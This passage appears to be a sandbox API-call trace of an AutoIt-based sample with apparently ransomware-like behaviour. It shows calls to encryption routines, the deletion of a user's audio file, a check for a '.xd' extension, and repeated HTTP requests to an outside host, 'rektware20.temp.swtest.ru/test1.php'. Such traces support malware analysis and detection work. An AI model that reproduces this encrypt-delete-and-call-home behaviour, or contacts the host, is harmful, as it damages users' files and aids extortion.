[0063.774] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.774] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.774] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.774] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.774] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.774] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.774] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.774] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.774] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0063.774] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0063.774] CryptReleaseContext (hProv=0x17abc38, dwFlags=0x0) returned 1 [0063.775] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.775] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.775] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.775] FreeLibrary (hLibModule=0x74c60000) returned 1 [0063.775] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.775] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.775] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.775] CloseHandle (hObject=0x3bc) returned 1 [0063.775] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.775] CloseHandle (hObject=0x2ac) returned 1 [0063.787] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.788] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.788] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", lpFilePart=0x0) returned 0x4a [0063.788] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\nclphp6dkljubz.wav")) returned 0x20 [0063.788] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c970 [0063.788] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\nclphp6dkljubz.wav")) returned 1 [0063.791] FindNextFileW (in: hFindFile=0x164c970, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0063.791] FindClose (in: hFindFile=0x164c970 | out: hFindFile=0x164c970) returned 1 [0063.792] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.792] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.792] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.792] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.792] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0063.792] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.792] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.792] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0063.792] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.792] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0063.792] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0063.792] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c) returned 1 [0063.792] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.792] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.793] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.794] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0063.794] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0063.794] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0063.795] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0063.799] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0063.800] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.810] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.810] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.810] CloseHandle (hObject=0x0) returned 0 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ge9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.813] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Qi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kc4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UphT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="phT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hT\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qwRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wRqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RqhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qhMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hMpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mpb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pb38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="38jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jT biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="biYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iYJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YJ5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.823] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.823] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0063.823] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.823] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0063.823] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0063.824] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.824] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0063.824] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0063.824] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621000, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1621000, lpdwBufferLength=0x130ee1c) returned 1 [0063.824] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.824] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.824] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.824] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, 